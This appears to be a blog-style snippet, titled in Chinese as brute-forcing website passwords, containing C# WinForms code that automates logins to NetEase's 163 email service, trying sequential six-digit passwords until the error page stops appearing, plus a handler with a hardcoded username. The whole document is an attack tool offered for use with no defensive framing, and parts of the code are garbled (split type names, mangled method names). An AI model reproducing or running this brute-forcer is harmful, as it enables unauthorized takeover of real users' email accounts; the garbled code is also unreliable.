暴力破解网站密码
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Net; using System.IO;
namespace ReadNetPage { public partial class Form1 : Form { public int password1 = 000000; public Form1() { InitializeComponent(); }
WebBrowser webBrowser1 = new WebBrowser(); private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentComple tedEventArgs e) { #region 参数设置 HtmlElement btnSubmit = webBrowser1.Document.All["login"]; //获取登录对应元素 HtmlElement tbUserid = webBrowser1.Document.All["login_name"]; //获取用户名对应元素 HtmlElement tbStyle = webBrowser1.Document.All["style"]; //获取版本对应元素 HtmlElement tbPasswd = webBrowser1.Document.All["login_password"]; //获取密码对应元素 if (tbUserid == null || tbPasswd == null ) return; tbUserid.SetAttribute("value", username.Text); //给用户名赋值 tbPasswd.SetAttribute("value", password1.ToString()); //给密码赋值 tbStyle.Children[Convert.ToInt32(txtstyle.Text)].SetAttribute("selected", "selected");//设置版本 btnSubmit.InvokeMember("click"); //模拟点击登录按钮 #endregion
}
//在确定按钮的响应函数btnOK_Click中添加如下代码:
private void btnOK_Click_1(object sender, EventArgs e) { bool check =true; int kcount = 0; string uuu = "http://email.163.com/ "; while ( check==true) { webBrowser1.DocumentCompleted += new WebBrowserDocumentComple tedEventHandler(webBrowser1_DocumentCompleted); webBrowser1.Navigate(uuu); while ( webBrowser1.ReadyState != WebBrowserReadyState.Complete) { Application.DoEvents(); } while (webBrowser1.Document.Url.ToString() == uuu) { Application.DoEvents(); kcount++; }
if (webBrowser1.Document.Url.ToString().indexOf("http://email.163.com/errorpage/err_163.htm?errorType")>=0) { password1++; userpassword.Text = password1.ToString(); } else { check = false; } }//while webBrowser2.Url = webBrowser1.Url; MessageBox.Show(webBrowser1.Document.Url.ToString()+" "+kcount.ToString()); }
private void button2_Click(object sender, EventArgs e) { string url = "http://email.163.com /"; WebBrowser ber = new WebBrowser(); ber.Navigate(new Uri(url)); while (ber.ReadyState != WebBrowserReadyState.Complete) { Application.DoEvents(); } ber.document.getElementByIdx_x_x_x("login_name").InnerText = "lj669888";//fill name ber.document.getElementByIdx_x_x_x("login_password").InnerText = "000000";//fill pwd HtmlElement formLogin = ber.Document.Forms["FrontPage_Form1"]; formLogin.InvokeMember("submit");
HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest; request.Method = "GET"; request.KeepAlive = false;
// 接收返回的页面 HttpWebResponse response = request.GetResponse() as HttpWebResponse; System.IO.Stream responseStream = response.GetResponseStream(); System.IO.StreamReader reader = new System.IO.StreamReader(responseStream, Encoding.Default); string srcString = reader.ReadToEnd();
MessageBox.Show(srcString); }
}
}